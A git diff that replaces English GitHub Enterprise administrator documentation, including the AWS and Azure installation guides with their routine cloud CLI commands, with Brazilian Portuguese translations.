+A maioria das ações oficiais de autoria de {% data variables.product.prodname_dotcom %} são automaticamente agrupadas com {% data variables.product.prodname_ghe_managed %} e são capturadas em um momento a partir do {% data variables.product.prodname_marketplace %}. Quando sua instância do {% data variables.product.prodname_ghe_managed %} é atualizada, as ações oficiais agrupadas também são atualizadas.
 
-The bundled official actions include `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, and various `actions/setup-` actions, among others. To see which of the official actions are included, browse to the following organizations on your instance: 
+As ações oficiais empacotadas incluem `ações/checkout`, `actions/upload-artefact`, `actions/download-artefact`, `actions/labeler`, e várias ações de `actions/setup-`, entre outras. Para ver quais das ações oficiais estão incluídas, acesse as seguintes organizações na sua instância:
 - <code>https://<em>HOSTNAME</em>/actions</code>
 - <code>https://<em>HOSTNAME</em>/github</code>
 
-Each action's files are kept in a repository in the `actions` and `github` organizations. Each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action.
+Os arquivos de cada ação são mantidos em um repositório das `ações` e das organizações `github`. Cada repositório de ação inclui as tags, branches e o commit necessários para que seus fluxos de trabalho possam usar para fazer referência à ação.
diff --git a/translations/pt-BR/content/admin/guides.md b/translations/pt-BR/content/admin/guides.md
index c8b10f2083..8217f9f6b3 100644
--- a/translations/pt-BR/content/admin/guides.md
+++ b/translations/pt-BR/content/admin/guides.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Enterprise guides
-shortTitle: Guides
-intro: 'Learn how to increase developer productivity and code quality with {% data variables.product.product_name %}.'
+title: Guias do GitHub Enterprise
+shortTitle: Guias
+intro: 'Aprenda a aumentar a produtividade do desenvolvedor e a qualidade do código com {% data variables.product.product_name %}.'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
@@ -13,7 +13,7 @@ learningTracks:
   - '{% ifversion ghae %}get_started_with_github_ae{% endif %}'
   - '{% ifversion ghes %}deploy_an_instance{% endif %}'
   - '{% ifversion ghes %}upgrade_your_instance{% endif %}'
-  -  adopting_github_actions_for_your_enterprise
+  - adopting_github_actions_for_your_enterprise
   - '{% ifversion ghes %}increase_fault_tolerance{% endif %}'
   - '{% ifversion ghes %}improve_security_of_your_instance{% endif %}'
   - '{% ifversion ghes > 2.22 %}configure_github_actions{% endif %}'
diff --git a/translations/pt-BR/content/admin/index.md b/translations/pt-BR/content/admin/index.md
index e9f1fb4c60..65ad5fa147 100644
--- a/translations/pt-BR/content/admin/index.md
+++ b/translations/pt-BR/content/admin/index.md
@@ -1,7 +1,7 @@
 ---
-title: Enterprise administrator documentation
-shortTitle: Enterprise administrators
-intro: 'Documentation and guides for enterprise administrators{% ifversion ghes %}, system administrators,{% endif %} and security specialists who {% ifversion ghes %}deploy, {% endif %}configure{% ifversion ghes %},{% endif %} and manage {% data variables.product.product_name %}.'
+title: Documentação do administrador da empresa
+shortTitle: Administradores da empresa
+intro: 'Documentação e guias para administradores da empresa{% ifversion ghes %}, administradores de sistema,{% endif %} e especialistas em segurança que {% ifversion ghes %}implantam, {% endif %}configuram{% ifversion ghes %},{% endif %} e gerenciam {% data variables.product.product_name %}.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise
diff --git a/translations/pt-BR/content/admin/installation/index.md b/translations/pt-BR/content/admin/installation/index.md
index 385c4412e7..b1b680c62a 100644
--- a/translations/pt-BR/content/admin/installation/index.md
+++ b/translations/pt-BR/content/admin/installation/index.md
@@ -1,7 +1,7 @@
 ---
-title: 'Installing {% data variables.product.prodname_enterprise %}'
-shortTitle: Installing
-intro: 'System administrators and operations and security specialists can install {% data variables.product.prodname_ghe_server %}.'
+title: 'Instalar o {% data variables.product.prodname_enterprise %}'
+shortTitle: Instalar
+intro: 'Os administradores do sistema e os especialistas em operações e segurança podem instalar o {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin-guide
   - /enterprise/admin/guides/installation
@@ -19,8 +19,9 @@ topics:
 children:
   - /setting-up-a-github-enterprise-server-instance
 ---
-For more information, or to purchase {% data variables.product.prodname_enterprise %}, see [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise).
+
+Para obter mais informações ou comprar o {% data variables.product.prodname_enterprise %}, consulte [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise).
 
 {% data reusables.enterprise_installation.request-a-trial %}
 
-If you have questions about the installation process, see "[Working with {% data variables.product.prodname_enterprise %} Support](/enterprise/admin/guides/enterprise-support/)."
+Em caso de dúvidas sobre o processo de instalação, consulte "[Trabalhar com o suporte do {% data variables.product.prodname_enterprise %}](/enterprise/admin/guides/enterprise-support/)".
diff --git a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
index c1df769365..591f64244b 100644
--- a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
+++ b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a GitHub Enterprise Server instance
-intro: 'You can install {% data variables.product.prodname_ghe_server %} on the supported virtualization platform of your choice.'
+title: Configurar uma instância do GitHub Enterprise Server
+intro: 'Você pode instalar o {% data variables.product.prodname_ghe_server %} na plataforma de virtualização suportada à sua escolha.'
 redirect_from:
   - /enterprise/admin/installation/getting-started-with-github-enterprise-server
   - /enterprise/admin/guides/installation/supported-platforms
@@ -20,6 +20,6 @@ children:
   - /installing-github-enterprise-server-on-vmware
   - /installing-github-enterprise-server-on-xenserver
   - /setting-up-a-staging-instance
-shortTitle: Set up an instance
+shortTitle: Configurar uma instância
 ---
 
diff --git a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md
index 4fbe447d97..043b90bd4c 100644
--- a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md
+++ b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on AWS
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Amazon Web Services (AWS), you must launch an Amazon Elastic Compute Cloud (EC2) instance and create and attach a separate Amazon Elastic Block Store (EBS) data volume.'
+title: Instalar o GitHub Enterprise Server no AWS
+intro: 'Para instalar o {% data variables.product.prodname_ghe_server %} no Amazon Web Services (AWS), você deve iniciar uma instância do Amazon Elastic Compute Cloud (EC2) e, em seguida, criar e vincular um volume de dados separado do Amazon Elastic Block Store (EBS).'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-aws
   - /enterprise/admin/installation/installing-github-enterprise-server-on-aws
@@ -13,103 +13,103 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on AWS
+shortTitle: Instalar no AWS
 ---
-## Prerequisites
+
+## Pré-requisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have an AWS account capable of launching EC2 instances and creating EBS volumes. For more information, see the [Amazon Web Services website](https://aws.amazon.com/).
-- Most actions needed to launch {% data variables.product.product_location %} may also be performed using the AWS management console. However, we recommend installing the AWS command line interface (CLI) for initial setup. Examples using the AWS CLI are included below. For more information, see Amazon's guides "[Working with the AWS Management Console](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)" and "[What is the AWS Command Line Interface](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)."
+- Você deve ter uma conta do AWS que possa iniciar instâncias do EC2 e criar volumes EBS. Para obter mais informações, consulte o [site do Amazon Web Services](https://aws.amazon.com/).
+- A maioria das ações necessárias para iniciar a {% data variables.product.product_location %} também pode ser executada usando o console de gerenciamento do AWS. No entanto, é recomendável instalar a interface da linha de comando (CLI) do AWS para a configuração inicial. Veja abaixo alguns exemplos de uso da CLI do AWS. Para obter mais informações, consulte os guias "[Trabalhar com o console de gerenciamento do AWS](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)" e "[O que é a interface da linha de comando do AWS](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)".
 
-This guide assumes you are familiar with the following AWS concepts:
+Para usar este guia, você deve conhecer os seguintes conceitos do AWS:
 
- - [Launching EC2 Instances](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html)
- - [Managing EBS Volumes](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html)
- - [Using Security Groups](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) (For managing network access to your instance)
- - [Elastic IP Addresses (EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) (Strongly recommended for production environments)
- - [EC2 and Virtual Private Cloud](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html) (If you plan to launch into a Virtual Private Cloud)
- - [AWS Pricing](https://aws.amazon.com/pricing/) (For calculating and managing costs)
+ - [Iniciar instâncias do EC2](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html)
+ - [Gerenciar volumes do EBS](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html)
+ - [Usar grupos de segurança](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) (para gerenciar o acesso de rede à instância)
+ - [Endereços de IP elástica (EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) (altamente recomendável para ambientes de produção)
+ - [EC2 e Virtual Private Cloud](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html) (se você pretende iniciar uma nuvem virtual privada)
+ - [Preços do AWS](https://aws.amazon.com/pricing/) (para calcular e gerenciar custos)
 
-For an architectural overview, see the "[AWS Architecture Diagram for Deploying GitHub Enterprise Server](/assets/images/installing-github-enterprise-server-on-aws.png)". 
+Para obter uma visão geral da arquitetura, consulte o "[Diagrama de arquitetura AWS para implantar o GitHub Enterprise Server](/assets/images/installing-github-enterprise-server-on-aws.png)".
 
-This guide recommends the principle of least privilege when setting up {% data variables.product.product_location %} on AWS. For more information, refer to the [AWS Identity and Access Management (IAM) documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege).
+Este guia recomenda o princípio do menor privilégio ao configurar {% data variables.product.product_location %} no AWS. Para obter mais informações, consulte a [Documentação do Gerencimaento de acesso e Identidade (IAM) do AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege).
 
-## Hardware considerations
+## Considerações de hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Determining the instance type
+## Determinar o tipo de instância
 
-Before launching {% data variables.product.product_location %} on AWS, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+Antes de lançar {% data variables.product.product_location %} no AWS, você deverá determinar o tipo de máquina que melhor se adequa às necessidades da sua organização. Para revisar os requisitos mínimos para {% data variables.product.product_name %}, consulte "[Requisitos mínimos](#minimum-requirements)".
 
 {% data reusables.enterprise_installation.warning-on-scaling %}
 
 {% data reusables.enterprise_installation.aws-instance-recommendation %}
 
-## Selecting the {% data variables.product.prodname_ghe_server %} AMI
+## Selecionar a AMI do {% data variables.product.prodname_ghe_server %}
 
-You can select an Amazon Machine Image (AMI) for {% data variables.product.prodname_ghe_server %} using the {% data variables.product.prodname_ghe_server %} portal or the AWS CLI.
+É possível selecionar uma Amazon Machine Image (AMI) para o {% data variables.product.prodname_ghe_server %} usando o portal do {% data variables.product.prodname_ghe_server %} na CLI do AWS.
 
-AMIs for {% data variables.product.prodname_ghe_server %} are available in the AWS GovCloud (US-East and US-West) region. This allows US customers with specific regulatory requirements to run {% data variables.product.prodname_ghe_server %} in a federally compliant cloud environment. For more information on AWS's compliance with federal and other standards, see [AWS's GovCloud (US) page](http://aws.amazon.com/govcloud-us/) and [AWS's compliance page](https://aws.amazon.com/compliance/).
+As AMIs para o {% data variables.product.prodname_ghe_server %} estão disponíveis na região (EUA-Leste e EUA-Oeste) do AWS GovCloud. Com isso, os clientes dos EUA com requisitos regulamentares específicos podem executar o {% data variables.product.prodname_ghe_server %} em um ambiente em nuvem de conformidade federal. Para obter mais informações sobre a conformidade do AWS com padrões federais e outros, consulte a [página do AWS GovCloud (EUA)](http://aws.amazon.com/govcloud-us/) e a [página de conformidade do AWS](https://aws.amazon.com/compliance/).
 
-### Using the {% data variables.product.prodname_ghe_server %} portal to select an AMI
+### Usar o portal do {% data variables.product.prodname_ghe_server %} para selecionar uma AMI
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-appliance %}
-3. In the Select your platform drop-down menu, click **Amazon Web Services**.
-4. In the Select your AWS region drop-down menu, choose your desired region.
-5. Take note of the AMI ID that is displayed.
+3. No menu suspenso Select your platform (Selecionar plataforma), clique em **Amazon Web Services**.
+4. No menu suspenso Select your AWS region (Selecionar região do AWS), escolha a região.
+5. Anote a ID da AMI.
 
-### Using the AWS CLI to select an AMI
+### Usar a CLI do AWS para selecionar uma AMI
 
-1. Using the AWS CLI, get a list of {% data variables.product.prodname_ghe_server %} images published by {% data variables.product.prodname_dotcom %}'s AWS owner IDs (`025577942450` for GovCloud, and `895557238572` for other regions). For more information, see "[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)" in the AWS documentation.
+1. Usando a CLI do AWS, obtenha uma lista de imagens do {% data variables.product.prodname_ghe_server %} publicadas pelas IDs do AWS no {% data variables.product.prodname_dotcom %}(`025577942450` para GovCloud e `895557238572` para outras regiões). Para obter mais informações, consulte "[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)" na documentação do AWS.
   ```shell
   aws ec2 describe-images \
   --owners <em>OWNER ID</em> \
   --query 'sort_by(Images,&Name)[*].{Name:Name,ImageID:ImageId}' \
   --output=text
   ```
-2. Take note of the AMI ID for the latest {% data variables.product.prodname_ghe_server %} image.
+2. Anote a ID da AMI para a imagem mais recente do {% data variables.product.prodname_ghe_server %}.
 
-## Creating a security group
+## Criar um grupo de segurança
 
-If you're setting up your AMI for the first time, you will need to create a security group and add a new security group rule for each port in the table below. For more information, see the AWS guide "[Using Security Groups](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)."
+Se estiver configurando a AMI pela primeira vez, você terá que criar um grupo de segurança e adicionar uma nova regra de grupo de segurança para cada porta na tabela abaixo. Para obter mais informações, consulte o guia do AWS "[Usar grupos de segurança](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)".
 
-1. Using the AWS CLI, create a new security group. For more information, see "[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)" in the AWS documentation.
+1. Usando a CLI do AWS, crie um grupo de segurança. Para obter mais informações, consulte "[criar-grupo-de-segurança](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)" na documentação do AWS.
   ```shell
   $ aws ec2 create-security-group --group-name <em>SECURITY_GROUP_NAME</em> --description "<em>SECURITY GROUP DESCRIPTION</em>"
   ```
 
-2. Take note of the security group ID (`sg-xxxxxxxx`) of your newly created security group.
+2. Anote a ID (`sg-xxxxxxxx`) do grupo de segurança que você acabou de criar.
 
-3. Create a security group rule for each of the ports in the table below. For more information, see "[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)" in the AWS documentation.
+3. Crie uma regra de grupo de segurança para cada porta da tabela abaixo. Para obter mais informações, consulte "[autorizar-ingresso-no-grupo-de-segurança](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)" na documentação AWS.
   ```shell
   $ aws ec2 authorize-security-group-ingress --group-id <em>SECURITY_GROUP_ID</em> --protocol <em>PROTOCOL</em> --port <em>PORT_NUMBER</em> --cidr <em>SOURCE IP RANGE</em>
   ```
-  This table identifies what each port is used for.
+  Esta tabela identifica o uso de cada porta.
 
   {% data reusables.enterprise_installation.necessary_ports %}
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Criar a instância do {% data variables.product.prodname_ghe_server %}
 
-To create the instance, you'll need to launch an EC2 instance with your {% data variables.product.prodname_ghe_server %} AMI and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)."
+Para criar a instância, você deve iniciar uma instância EC2 com sua AMI do {% data variables.product.prodname_ghe_server %} e vincular um volume de armazenamento adicional aos dados da sua instância. Para obter mais informações, consulte "[Considerações de hardware](#hardware-considerations)".
 
 {% note %}
 
-**Note:** You can encrypt the data disk to gain an extra level of security and ensure that any data you write to your instance is protected. There is a slight performance impact when using encrypted disks. If you decide to encrypt your volume, we strongly recommend doing so **before** starting your instance for the first time.
- For more information, see the [Amazon guide on EBS encryption](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html).
+**Observação:** é possível criptografar o disco de dados para obter um nível suplementar de segurança e garantir que qualquer dado gravado em sua instância está protegido. Usar discos criptografados gera um leve impacto no desempenho. Se você decidir criptografar o volume, é altamente recomendável fazer isso **antes** de iniciar a instância pela primeira vez. Para obter mais informações, consulte o [Guia Amazon sobre criptografia EBS](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html).
 
 {% endnote %}
 
 {% warning %}
 
-**Warning:** If you decide to enable encryption after you've configured your instance, you will need to migrate your data to the encrypted volume, which will incur some downtime for your users.
+**Aviso:** se você decidir habilitar a criptografia depois de configurar a instância, será necessário migrar seus dados para o volume criptografado, o que vai gerar tempo de inatividade para os usuários.
 
 {% endwarning %}
 
-### Launching an EC2 instance
+### Iniciar uma instância do EC2
 
-In the AWS CLI, launch an EC2 instance using your AMI and the security group you created. Attach a new block device to use as a storage volume for your instance data, and configure the size based on your user license count. For more information, see "[run-instances](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)" in the AWS documentation.
+Na CLI do AWS, inicie uma instância do EC2 usando sua AMI e o grupo de segurança que você criou. Vincule um novo dispositivo de bloqueio para uso como volume de armazenamento dos dados da sua instância e configure o tamanho com base na contagem de licença de usuário. Para obter mais informações, consulte "[executar-instâncias](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)" na documentação do AWS.
 
 ```shell
 aws ec2 run-instances \
@@ -121,21 +121,21 @@ aws ec2 run-instances \
   --ebs-optimized
 ```
 
-### Allocating an Elastic IP and associating it with the instance
+### Alocar uma IP elástica e associá-la com a instância
 
-If this is a production instance, we strongly recommend allocating an Elastic IP (EIP) and associating it with the instance before proceeding to {% data variables.product.prodname_ghe_server %} configuration. Otherwise, the public IP address of the instance will not be retained after instance restarts. For more information, see "[Allocating an Elastic IP Address](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)" and "[Associating an Elastic IP Address with a Running Instance](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)" in the Amazon documentation.  
+Se for uma instância de produção, é recomendável alocar uma IP Elástica (EIP) e associá-la à instância antes de seguir para a configuração do {% data variables.product.prodname_ghe_server %}. Caso contrário, o endereço IP público da instância não será retido após a reinicialização da instância. Para obter mais informações, consulte "[Alocar um endereço de IP elástica](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)" e "[Associar um endereço de IP elástica a uma instância em execução](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)" na documentação da Amazon.
 
-Both primary and replica instances should be assigned separate EIPs in production High Availability configurations. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
+As instâncias primária e de réplica devem receber EIPs separados nas configurações de alta disponibilidade de produção. Para obter mais informações, consulte "[Configurar o {% data variables.product.prodname_ghe_server %} para alta disponibilidade](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)".
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## Configurar a instância do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obter mais informações, consulte "[Configurar o appliance do {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)".
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leia mais
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Visão geral do sistema](/enterprise/admin/guides/installation/system-overview){% ifversion ghes %}
+- "[Sobre atualizações para novas versões](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
index 748685a4e0..ec5b3564e1 100644
--- a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
+++ b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Azure
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Azure, you must deploy onto a DS-series instance and use Premium-LRS storage.'
+title: Instalar o GitHub Enterprise Server no Azure
+intro: 'Para instalar o {% data variables.product.prodname_ghe_server %} no Azure, você deve fazer a implantação em uma instância da série DS e usar o armazenamento Premium-LRS.'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-azure
   - /enterprise/admin/installation/installing-github-enterprise-server-on-azure
@@ -13,58 +13,59 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on Azure
+shortTitle: Instalar no Azure
 ---
-You can deploy {% data variables.product.prodname_ghe_server %} on global Azure or Azure Government.
 
-## Prerequisites
+Você pode implantar o {% data variables.product.prodname_ghe_server %} no Azure global ou Azure Government.
+
+## Pré-requisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have an Azure account capable of provisioning new machines. For more information, see the [Microsoft Azure website](https://azure.microsoft.com).
-- Most actions needed to launch your virtual machine (VM) may also be performed using the Azure Portal. However, we recommend installing the Azure command line interface (CLI) for initial setup. Examples using the Azure CLI 2.0 are included below. For more information, see Azure's guide "[Install Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)."
+- Você deve ter uma conta do Azure que permita provisionar novas máquinas. Para obter mais informações, consulte o [site do Microsoft Azure](https://azure.microsoft.com).
+- A maioria das ações necessárias para iniciar sua máquina virtual (VM) também pode ser executada pelo Portal do Azure. No entanto, é recomendável instalar a interface da linha de comando (CLI) do Azure para a configuração inicial. Veja abaixo alguns exemplos de uso da CLI do Azure 2.0. Para obter mais informações, consulte o guia "[Instalar a CLI do Azure 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)".
 
-## Hardware considerations
+## Considerações de hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Determining the virtual machine type
+## Determinar o tipo de máquina virtual
 
-Before launching {% data variables.product.product_location %} on Azure, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+Antes de lançar {% data variables.product.product_location %} no Azure, você deverá determinar o tipo de máquina que melhor atende às necessidades da sua organização. Para revisar os requisitos mínimos para {% data variables.product.product_name %}, consulte "[Requisitos mínimos](#minimum-requirements)".
 
 {% data reusables.enterprise_installation.warning-on-scaling %}
 
 {% data reusables.enterprise_installation.azure-instance-recommendation %}
 
-## Creating the {% data variables.product.prodname_ghe_server %} virtual machine
+## Criar a instância da máquina virtual do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. Find the most recent {% data variables.product.prodname_ghe_server %} appliance image. For more information about the `vm image list` command, see "[az vm image list](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)" in the Microsoft documentation.
+1. Localize a imagem mais recente do appliance do {% data variables.product.prodname_ghe_server %}. Para obter mais informações sobre o comando `vm image list`, consulte "[Lista de imagens de vm no az](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)" na documentação da Microsoft.
   ```shell
   $ az vm image list --all -f GitHub-Enterprise | grep '"urn":' | sort -V
   ```
 
-2. Create a new VM using the appliance image you found. For more information, see "[az vm create](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)" in the Microsoft documentation.
+2. Crie uma VM usando a imagem do appliance. Para obter mais informações, consulte "[criar vm no az](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)" na documentação da Microsoft.
 
-  Pass in options for the name of your VM, the resource group, the size of your VM, the name of your preferred Azure region, the name of the appliance image VM you listed in the previous step, and the storage SKU for premium storage. For more information about resource groups, see "[Resource groups](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)" in the Microsoft documentation.
+  Veja as opções de nome da VM, grupo de recursos, tamanho da VM, nome da região preferida do Azure, nome da da imagem de VM do appliance que você listou na etapa anterior e o SKU de armazenamento para Premium. Para obter mais informações sobre grupos de recursos, consulte "[Grupos de recursos](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)" na documentação da Microsoft.
 
   ```shell
   $ az vm create -n <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --size <em>VM_SIZE</em> -l <em>REGION</em> --image <em>APPLIANCE_IMAGE_NAME</em> --storage-sku Premium_LRS
   ```
 
-3. Configure the security settings on your VM to open up required ports. For more information, see "[az vm open-port](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)" in the Microsoft documentation. See the table below for a description of each port to determine what ports you need to open.
+3. Defina as configurações de segurança na VM para abrir as portas necessárias. Para obter mais informações, consulte "[abrir portas para a vm no az](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)" na documentação da Microsoft. A tabela abaixo descreve cada porta para determinar quais portas você precisa abrir.
 
   ```shell
   $ az vm open-port -n <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --port <em>PORT_NUMBER</em>
   ```
 
-  This table identifies what each port is used for.
+  Esta tabela identifica o uso de cada porta.
 
   {% data reusables.enterprise_installation.necessary_ports %}
 
-4. Create and attach a new managed data disk to the VM, and configure the size based on your license count. All Azure managed disks created since June 10, 2017 are encrypted at rest by default with Storage Service Encryption (SSE). For more information about the `az vm disk attach` command, see "[az vm disk attach](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach)" in the Microsoft documentation.
+4. Crie e anexe um novo disco de dados gerenciado na VM e configure o tamanho com base em sua contagem de licenças. Todos os discos gerenciados do Azure criados desde 10 de junho de 2017 são criptografados por padrão com criptografia de serviço de armazenamento (SSE). Para obter mais informações sobre o comando `az vm disk attach`, consulte "[disco vm no az anexar](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach)" na documentação da Microsoft.
 
-  Pass in options for the name of your VM (for example, `ghe-acme-corp`), the resource group, the premium storage SKU, the size of the disk (for example, `100`), and a name for the resulting VHD.
+  Veja as opções de nome da VM (por exemplo, `ghe-acme-corp`), o grupo de recursos, o SKU de armazenamento Premium, o tamanho do disco (por exemplo, `100`) e um nome para o VHD resultante.
 
   ```shell
   $ az vm disk attach --vm-name <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --sku Premium_LRS --new -z <em>SIZE_IN_GB</em> --name ghe-data.vhd --caching ReadWrite
@@ -72,33 +73,33 @@ Before launching {% data variables.product.product_location %} on Azure, you'll
 
   {% note %}
 
-   **Note:** For non-production instances to have sufficient I/O throughput, the recommended minimum disk size is 40 GiB with read/write cache enabled (`--caching ReadWrite`).
+   **Observação:** para que as instâncias não relacionadas à produção tenham capacidade suficiente de E/S, o tamanho mínimo de disco recomendado é de 40 GB com cache de leitura e gravação habilitado (`--caching ReadWrite`).
 
    {% endnote %}
 
-## Configuring the {% data variables.product.prodname_ghe_server %} virtual machine
+## Configurar a máquina virtual do {% data variables.product.prodname_ghe_server %}
 
-1. Before configuring the VM, you must wait for it to enter ReadyRole status. Check the status of the VM with the `vm list` command. For more information, see "[az vm list](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)" in the Microsoft documentation.
+1. Antes de configurar a VM, você deve aguardar a entrada no status ReadyRole. Verifique o status da VM com o comando `vm list`. Para obter mais informações, consulte "[listar vms no az](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)" na documentação da Microsoft.
